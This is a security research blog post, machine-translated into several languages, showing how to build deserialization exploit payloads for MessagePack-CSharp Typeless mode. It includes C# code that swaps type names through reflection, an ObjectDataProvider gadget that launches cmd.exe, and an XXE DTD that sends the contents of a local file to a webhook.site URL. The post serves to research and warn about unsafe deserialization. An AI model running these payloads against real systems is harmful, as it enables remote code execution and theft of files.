Magic Quadrant™ para la gestión de acceso privilegiado 2025: Netwrix reconocida por cuarto año consecutivo. Descarga el informe.

Plataforma
Centro de recursosBlog
Generando cargas de deserialización para el modo sin tipo de MessagePack C#

Generando cargas de deserialización para el modo sin tipo de MessagePack C#

Apr 10, 2023

El modo sin tipo de MessagePack-CSharp permite la serialización polimórfica al incrustar información completa del tipo, incluidos los campos privados, lo que lo hace poderoso pero inseguro para datos no confiables. Debido a que la deserialización se basa en la reflexión y los setters de propiedades automáticos, los atacantes pueden crear cargas útiles que desencadenen la ejecución de código o ataques XXE al abusar de cadenas de gadgets conocidas. Incluso con las opciones de seguridad endurecidas de MessagePack habilitadas, el modo sin tipo sigue siendo fundamentalmente inseguro y nunca debe usarse con entradas no confiables.

MessagePack-CSharp es una biblioteca de serialización de alto rendimiento que simplifica el proceso de serialización y deserialización de objetos complejos. Muchos desarrolladores de .NET prefieren MessagePack porque es más rápido y produce una salida más pequeña que otros formatos de serialización como XML o JSON.

MessagePack-CSharp offre una funzionalità chiamata Senza tipo modalità, che consente la serializzazione e deserializzazione dinamica e polimorfica di oggetti senza conoscenza preventiva dei loro tipi. Questa capacità è particolarmente vantaggiosa in situazioni in cui il tipo dell'oggetto è noto solo a runtime, consentendo agli sviluppatori di serializzare e deserializzare oggetti senza la necessità di decorare le classi con attributi. La modalità senza tipo è in grado di serializzare quasi qualsiasi tipo, comprese le proprietà e i campi pubblici e privati.

Con la deprecación de BinaryFormatter, los desarrolladores pueden buscar alternativas como el modo sin tipo de MessagePack, ya que proporciona una funcionalidad similar.

La documentación de MessagePack aconseja no usar el modo sin tipo con datos no confiables, ya que hacerlo podría llevar a problemas de seguridad. Este artículo ilustra estos problemas mostrando cómo crear cargas útiles de explotación de deserialización para el modo sin tipo de MessagePack.

Serializando un objeto usando Modo Sin Tipo

      namespace SomeLibrary
{
    public class SomeClass
    {
        private string _privateField;
        public string PublicProperty { get; set; }
        public string PrivateProperty { get; private set; }
        public void SetPrivateProperty(string pPrivateProperty) 
            => PrivateProperty = pPrivateProperty;
        public void SetPrivateField(string pPrivateField) 
            => _privateField = pPrivateField;
    }
}

namespace MessagePackTypelessDemo
{
    class Program
    {
        static void Main()
        {
            var obj = new SomeLibrary.SomeClass { PublicProperty = "ABCDEFG" };
            obj.SetPrivateProperty("HIJKLMNOP");
            obj.SetPrivateField("QRSTUVWXYZ");

            System.IO.File.WriteAllBytes(
                "serialized.bin", 
                MessagePack.MessagePackSerializer.Typeless.Serialize(obj));
        }
    }
}
      

Es importante tener en cuenta que los datos serializados incluyen valores de propiedades y campos privados, así como el AssemblyQualifiedName (AQN) de SomeClass. Durante la deserialización, MessagePack hará referencia a esta información de tipo para garantizar que este tipo de objeto exacto se construya y se complete correctamente.

Image

Figura 1. Vista hexadecimal de datos serializados sin tipo de MessagePack

Durante la deserialización, MessagePack aprovecha la reflexión para invocar un constructor predeterminado que no toma parámetros. Si no hay un constructor predeterminado presente, la deserialización fallará. Además, se utiliza la reflexión para llamar a los setters de propiedades y asignar valores a los campos.

Implicaciones de seguridad de deserializar datos no confiables

La documentación de MessagePack aborda las implicaciones de seguridad asociadas con la deserialización de datos no confiables. La sección aconseja específicamente no usar el modo sin tipo con datos no confiables, ya que podría resultar en la deserialización de tipos inesperados, lo que puede llevar a vulnerabilidades de seguridad.

El MessagePackSerializerOptions clase permite a los desarrolladores configurar comportamientos específicos durante la serialización y deserialización, como el uso de compresión Lz4 y el manejo de versiones de ensamblado. La clase también define una lista de tipos peligrosos conocidos que MessagePack no deserializará. Si alguno de estos tipos está presente en los datos serializados, se lanzará una excepción y se abortará la deserialización. Esta lista actualmente contiene dos tipos:

  • Colección de archivos temporales de System.CodeDom.Compiler
  • System.Management.IWbemClassObjectFreeThreaded

Opciones de serializador MessagePack también se puede configurar para usar un modo más seguro, destinado a manejar datos no confiables, que introduce una profundidad máxima del gráfico de objetos y un algoritmo de hash resistente a colisiones. La documentación afirma que este modo simplemente refuerza contra ataques comunes y no es completamente seguro.

      MessagePackSerializerOptions options = 
    TypelessContractlessStandardResolver.Options
        .WithAllowAssemblyVersionMismatch(true)
        .WithSecurity(MessagePackSecurity.UntrustedData);

return MessagePackSerializer.Typeless.Deserialize<object>(serializedBytes, options);
      

A pesar de las limitaciones impuestas, crear una carga útil de gadget serializada que utilice invocaciones de configuradores de propiedades para iniciar acciones privilegiadas, como la ejecución de código, sigue siendo factible al deserializar datos no confiables. Esto es posible siempre que el gadget no esté incluido en la lista de tipos no permitidos.

Serializar directamente un tipo de gadget instanciado puede ser problemático porque todas las propiedades y campos del tipo se serializarán sin la oportunidad de ignorar ninguno de ellos. Deserializar el objeto puede resultar en un objeto mal configurado que puede causar problemas durante la instanciación, lo que puede resultar en que la explotación falle. Además, con gadgets basados en setters, los investigadores pueden necesitar ejecutar la carga útil directamente durante la creación del objeto.

Para evitar estos problemas, un mejor enfoque sería crear un objeto sustituto mínimo y serializarlo como el tipo de gadget real. De esta manera, solo se establecerán las propiedades y campos necesarios durante la deserialización, reduciendo el riesgo de comportamientos no deseados.

Generando una carga útil de ObjectDataProvider para la ejecución de código

El ObjectDataProvider gadget es un gadget de ejecución de código ampliamente conocido que aparece en numerosas cadenas de gadgets. Este artículo no detallará los aspectos específicos de cómo el ObjectDataProvider funciona, ya que el artículo “Ataques JSON del viernes 13” de Alvaro Muñoz y Oleksandr Mirosh proporciona una explicación completa de su funcionamiento.

Em resumo, o ObjectDataProvider pode ser usado para chamar Process.Start com argumentos especificados pelo usuário, configurando as propriedades MethodName e ObjectInstance, que ao definir qualquer uma das propriedades invoca o nome do método fornecido na instância do objeto fornecido. Especificamente, a propriedade MethodName deve ser definida como “Start” e a propriedade ObjectInstance deve ser definida como uma instância de System.Diagnostics.Process. O nome do arquivo e os argumentos podem então ser definidos por meio de propriedades contidas no System.Diagnostics.ProcessStartInfo objeto, que está disponível como o Process propriedade StartInfo do objeto.

Paso 1. Especificar los tipos de sustitutos

Los tipos de sustitutos solo necesitan contener las propiedades mínimas para resultar en la ejecución del código. Para el ObjectDataProvider gadget, el gráfico de objetos debe conformarse a la siguiente especificación:

      public class ObjectDataProviderSurrogate
{
    public string MethodName { get; set; }
    public object ObjectInstance { get; set; }
}

public class ProcessStartInfoSurrogate
{
    public string FileName { get; set; }
    public string Arguments { get; set; }
}

public class ProcessSurrogate
{
    public ProcessStartInfoSurrogate StartInfo { get; set; }
}

      

Paso 2. Construir el objeto ObjectDataProviderSurrogate

Para generar una carga útil que ejecute “calc.exe”, primero construimos el ObjectDataProviderSurrogate objeto, estableciendo las propiedades según sea necesario para el real ObjectDataProvider objeto y utilizando sustitutos adicionales donde sea necesario.

      return new ObjectDataProviderSurrogate
{
    MethodName = "Start",
    ObjectInstance = new ProcessSurrogate
    {
        StartInfo = new ProcessStartInfoSurrogate
        {
            FileName = "cmd.exe",
            Arguments = "/c calc"
        }
    }
};

      

Paso 3. Modificar la caché de tipo

El modo sin tipo de MessagePack no incluye funcionalidad para serializar un tipo como otro. Mientras que los desarrolladores anteriormente podían anular el TypelessFormatter‘s BindToType delegado para lograr esto, esta función fue eliminada durante una refactorización significativa. Sin embargo, aún podemos aprovechar parte del comportamiento interno de MessagePack para lograr este objetivo.

El TypelessFormatter utiliza un caché interno para almacenar información de tipo para tipos procesados anteriormente. Cuando un tipo está presente en el caché, el formateador omite la recuperación del AQN para el tipo a través de la propiedad AssemblyQualifiedName y, en su lugar, devuelve la cadena AQN en caché en forma de matriz de bytes, que luego se incorpora a los datos serializados para identificar el tipo serializado.

      public void Serialize(
    ref MessagePackWriter writer,
    object? value,
    MessagePackSerializerOptions options)
{
    // [Truncated]

    Type type = value.GetType();

    var typeNameCache = options.OmitAssemblyVersion
                ? ShortenedTypeNameCache
                : FullTypeNameCache;

    if (!typeNameCache.TryGetValue(type, out byte[]? typeName))
    {
        TypeInfo ti = type.GetTypeInfo();
        if (ti.IsAnonymous() || UseBuiltinTypes.Contains(type))
        {
            typeName = null;
        }
        else
        {
            typeName = StringEncoding.UTF8.GetBytes(
                this.BuildTypeName(type, options));
        }

        typeNameCache.TryAdd(type, typeName);
    }

    // Use typeName...
}
      

Al agregar tipos y sus correspondientes cadenas AQN a la caché, aseguramos que el serializador escriba las cadenas AQN especificadas mientras procesa estos objetos. Dado que la caché es privada, podemos utilizar la reflexión para acceder a la TryAdd método de este campo.

      public static void SwapTypeCacheNames(IDictionary<Type, string> pNewTypeCacheEntries)
{
    FieldInfo typeNameCacheField = 
        typeof(TypelessFormatter)
            .GetField("FullTypeNameCache", BindingFlags.NonPublic | BindingFlags.Static);
    
    MethodInfo addTypeCacheMethod = 
        typeNameCacheField.FieldType
            .GetMethod("TryAdd", new[] { typeof(Type), typeof(byte[]) });

    object typeNameCache = typeNameCacheField.GetValue(TypelessFormatter.Instance);
    foreach (var typeSwap in pNewTypeCacheEntries)
    {
        addTypeCacheMethod.Invoke(
            typeNameCache,
            new object[]
            {
                typeSwap.Key,
                System.Text.Encoding.UTF8.GetBytes(typeSwap.Value)
            });
    }
}
      

Agora podemos adicionar nossos tipos ao TypelessFormattercache de tipo interno de ‘, junto com os nomes de tipo correspondentes dos objetos reais. Como o TypelessFormatter é estático, qualquer chamada de serialização subsequente usará esse cache de tipo modificado.

      SwapTypeCacheNames(
    new Dictionary<Type, string>
    {
        {
            typeof(ObjectDataProviderSurrogate),
            "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
        },
        {
            typeof(ProcessSurrogate),
            "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
        },
        {
            typeof(ProcessStartInfoSurrogate),
            "System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
        }
    });

      

Paso 4. Serializar y deserializar la carga útil

Podemos confirmar que los datos serializados contienen los AQNs necesarios para el ObjectDataProvider cadena de gadgets, así como solo las propiedades y valores esenciales que permiten una ejecución de código exitosa. Al deserializar, la carga útil activará Process.Start, lanzando calc.exe.

Image

Figura 2. Vista hexadecimal de la carga útil del gadget ObjectDataProvider serializado

Image

Figura 3. Explotación exitosa durante la deserialización, lanzando calc.exe

Esta funcionalidad de generación de payloads también se ha integrado en el proyecto Ysoserial.NET para permitir a los investigadores generar payloads sin tipo de MessagePack tanto para datos estándar como para datos comprimidos con Lz4.

Image

Figura 4. Generando cargas útiles sin tipo de MessagePack con Ysoserial.NET

Limitaciones

En las versiones de MessagePack-CSharp anteriores a la v2.3.75 (julio de 2021), no es posible lograr la ejecución de código al deserializar un ObjectDataProvider carga útil. En estas versiones, los establecedores de propiedades se llaman para un objeto incluso si sus valores no están presentes en los datos serializados.

O ObjectDataProvider estende o System.Windows.Data.DataSourceProvider classe. Esta classe contém a propriedade protegida Dispatcher, que em versões anteriores do MessagePack será definida como nula.

      protected Dispatcher Dispatcher
{
    get { return _dispatcher; }
    set
    {
        if (_dispatcher != value)
        {
            _dispatcher = value;
        }
    }
}
      

Como se mencionó anteriormente, establecer las propiedades ObjectInstance o MethodName especificadas llamará a un interno Actualizar método que lleva a la invocación del nombre de método especificado en la instancia del objeto, siempre que ambas propiedades hayan sido establecidas. Esto significa que para una invocación exitosa, el Actualizar método debe ser llamado dos veces: una vez para el establecimiento de cada propiedad.

Al final de cada llamada a Actualizar, se realiza una llamada a DataSourceProvider’s OnQueryFinished método, indicando que la consulta ha terminado. Este método asegura que la propiedad Dispatcher no es nula.

      protected virtual void OnQueryFinished(object newData, Exception error
    DispatcherOperationCallback completionWork, object callbackArguments)
{
    Invariant.Assert(Dispatcher != null);
    if (Dispatcher.CheckAccess())
    {
        UpdateWithNewResult(error, newData, completionWork, callbackArguments);
    }
    else
    {
        Dispatcher.BeginInvoke(
            DispatcherPriority.Normal, UpdateWithNewResultCallback,
            new object[] 
            { 
                this, error, newData, completionWork, callbackArguments
            });
    }
}
      

Dado que Dispatcher es nulo en este punto, Invariant.Assert fallará, lo que llevará a una llamada a Invariant.FailFast, lo que finalmente termina el proceso. Dado que esto ocurrirá en la primera llamada a Refresh, la ejecución del código no será posible.

Generando un payload XmlDocument para la exfiltración de archivos XXE

O XmlDocument classe apresenta a propriedade de string InnerXml que invoca XmlDocument‘s Carregar método com o valor da propriedade fornecido quando definido. Para versões do .NET anteriores à v4.5.2, isso cria uma vulnerabilidade potencial a ataques XXE (XML External Entity), que podem permitir que um invasor exfiltre arquivos do sistema para um local remoto.

In .NET Framework versions v4.5.2 and later, the XmlResolver property of XmlDocument is set to null by default, which prevents the processing of XML entities. However, since MessagePack deserializes types with default constructors, it is possible to circumvent this protection by providing an XmlUrlResolver as the XmlResolver property. This creates a pathway for XXE scenarios in later versions from .NET Core through to .NET 7.

Paso 1. Especificar los tipos de sustituto de XmlDocument

Especificamos las propiedades mínimas requeridas para realizar el ataque XXE. Tenga en cuenta que la propiedad XmlResolver es de tipo System.Object, en lugar de XmlUrlResolverSurrogate. Esto obliga a MessagePack a incluir el AQN del tipo de la propiedad XmlResolver, lo que nos permite utilizar el mecanismo de intercambio de tipos.

      public class XmlDocumentSurrogate
{
    public object XmlResolver { get; set; }
    public string InnerXml { get; set; }
}

public class XmlUrlResolverSurrogate
{
}

      

Paso 2. Construir el objeto sustituto XmlDocument

Para exfiltrar un archivo en la deserialización, primero necesitamos preparar y alojar un archivo DTD, que será referenciado por el XML cargado proporcionado a la propiedad InnerXml. Podemos usar el servicio gratuito de pegado de texto Pastebin para alojar el archivo DTD, ya que permite el acceso a archivos en bruto.

El DTD leerá el contenido del archivo “C:\test.txt” (este ejemplo de prueba de concepto contiene el texto “A1B2C3) y pasará el contenido como un parámetro GET a un servicio web controlado por un atacante. Para este ejemplo, utilizaremos el gratuito Webhook.Site servicio para capturar solicitudes.

      <!ENTITY % a SYSTEM "file:///C:\\test.txt">
<!ENTITY % b "<!ENTITY c SYSTEM 'https://webhook.site/865d77fe-b03e-4833-a68b-4f94a0c0dde8?%a;'>">
%b;

      

El XML que se cargará durante la deserialización hará referencia a este archivo DTD e invocará la expansión de entidad que resulta en la solicitud GET.

      <?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "https://pastebin.com/raw/CUc6fZ8N">
<foo>&c;</foo>
      

La construcción completa del objeto sustituto es simplemente una cuestión de poblar el XmlDocumentSurrogatepropiedad InnerXml con el XML anterior y establecer la propiedad XmlResolver en nuestro XmlUrlResolverSurrogate tipo.

      return new XmlDocumentSurrogate
{
    XmlResolver = new XmlUrlResolverSurrogate(),
    InnerXml = "<?xml version=\"1.0\"?>" +
    "<!DOCTYPE foo SYSTEM \"https://pastebin.com/raw/CUc6fZ8N\">" +
    "<foo>&c;</foo>"
};

      

Paso 3. Reemplaza las definiciones de tipo

Usando el mismo enfoque utilizado para generar el ObjectDataProvider gadget, podemos usar el SwapTypeCacheNames función para reemplazar la información de tipo de sustituto con la información de tipo para el real XmlDocument gadget.

      SwapTypeCacheNames(
    new Dictionary<Type, string>
    {
        {
            typeof(XmlDocumentSurrogate),
            "System.Xml.XmlDocument, System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
        },
        {
            typeof(XmlUrlResolverSurrogate),
            "System.Xml.XmlUrlResolver, System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
        }
    });
      

Paso 4. Serializar y deserializar la carga útil

Os dados serializados para o XmlDocument a cadeia de gadgets contém os AQNs corretos, incluindo o AQN necessário para XmlUrlResolver. Ao desserializar, a carga útil acionará uma solicitação para o DTD hospedado pelo atacante. O DTD será então usado para extrair o conteúdo de “C:\Test.txt”, passando o conteúdo para o webhook como um parâmetro GET.

Image

Figura 5. Vista hexadecimal de la carga útil del gadget XmlDocument serializado

Image

Figura 6. Serializando y deserializando la carga útil del gadget XmlDocument

Image

Figura 7. Exfiltración exitosa de archivos XXE durante la deserialización

Limitaciones

Las versiones de MessagePack-CSharp anteriores a la v2.3.75 (julio de 2021) impiden la ejecución de un ataque XXE durante la deserialización de un XmlDocument payload de gadget debido al error mencionado anteriormente, llamando a los setters de propiedades para un objeto incluso si no están presentes en los datos serializados.

El error provoca XmlDocumentel setter de la propiedad Value, heredado de System.Xml.XmlNode, que se invoque. Este setter lanza una excepción independientemente del valor suministrado, lo que provoca que el proceso de deserialización termine antes de que se pueda producir cualquier exfiltración de archivos.

      public virtual string Value
{
    get { return null; }
    set 
    { 
        throw new InvalidOperationException(
            string.Format(
                CultureInfo.InvariantCulture, 
                Res.GetString(Res.Xdom_Node_SetVal), NodeType.ToString())); 
    }
}
      

Resumen

Este artículo proporciona una visión general de un método simple para crear cargas útiles de explotación de deserialización en el modo sin tipo de MessagePack. Dada la versatilidad del serializador para manejar no solo propiedades privadas sino también campos privados, es probable que existan más gadgets para este serializador en comparación con sus contrapartes más restrictivas.

Deserializar datos no confiables presenta un riesgo de seguridad significativo, especialmente al deserializar datos que definen el tipo de objeto incrustado. Los desarrolladores deben evitar usar la función sin tipo de MessagePack para deserializar datos no confiables; incluso con todas las características de seguridad habilitadas, no es seguro y no se puede hacer seguro.

Agradecimientos

Agradecimientos especiales a Piotr Bazydlo (@chudyPB) por ofrecer valiosos conocimientos sobre las limitaciones de la deserialización de cadenas de gadgets ObjectDataProvider en versiones anteriores de MessagePack, que impiden una explotación exitosa.

Preguntas frecuentes

Compartir en

Aprende más

Acerca del autor

Asset Not Found

Dane Evans

Ingeniero de Seguridad de Aplicaciones Senior

Como ingeniero de seguridad de aplicaciones en el equipo de Investigación de Seguridad de Netwrix, Dane tiene más de una década de experiencia en seguridad de aplicaciones e ingeniería de software. Sus principales intereses incluyen la seguridad de aplicaciones, el ciclo de vida del desarrollo de software (SDLC), la investigación de vulnerabilidades y el desarrollo de exploits.